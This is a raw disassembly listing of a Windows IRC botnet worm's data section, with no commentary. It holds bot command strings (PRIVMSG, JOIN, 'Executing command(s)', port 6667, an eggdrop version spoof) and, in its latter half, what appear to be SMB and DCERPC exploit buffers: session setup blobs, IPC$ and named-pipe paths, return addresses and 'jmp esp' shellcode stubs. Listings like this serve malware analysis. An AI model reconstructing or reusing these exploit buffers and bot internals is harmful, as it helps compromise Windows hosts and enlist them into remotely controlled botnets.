XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 off_419A7C dd offset loc_410DB7+1 ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 2DCF8h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 4688368h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 123B8h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 4C2338h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 1265A0h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0C0AB0h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 0A6CB0h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 5AF4DA8h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 8085E8h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 4CD168h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 0CEF58D2Ch ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2DB260E0h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 90BBA32Ch ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 48489E0h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1246E8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 0DFBD949h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 off_419BA4 dd offset loc_40E3E0 ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 293E0h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0E426671h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 0E04A6C27h ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 2BBDB0A9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 86670h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23C76670h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 4CBE670h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2577B5A0h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 4C38h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 123F0AA8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 289D4860h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 28A446E8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 5E9DD92Bh ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 5E9E29C3h ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 489DAC36h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 29A560E1h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 9A060h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 69F334E0h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 14EFBCE0h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 0A7768h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 0B4768h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 43B8h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 0ACh, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh ; DATA XREF: sub_40A9CF+790o dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0) dword_419DB0 dd 3115E88h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 0B12C0878h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 0EE5AD128h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) aALSsSCJEKi db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o align 4 dd 0 dword_419DFC dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: sub_40A9CF+437o dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h dd 0A087E5A6h, 2 dup(0) dword_419E48 dd 24648h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 29A012A1h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 29A0C6E9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 0FDD9520h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 25219520h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 407D28h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 47B91A8h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 132330h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3677C869h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree_0 db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: .data:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: .data:loc_41A8ACj ; .data:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: .data:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: .data:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: .data:0041A8AEj ; .data:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: .data:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: .data:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: .data:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) 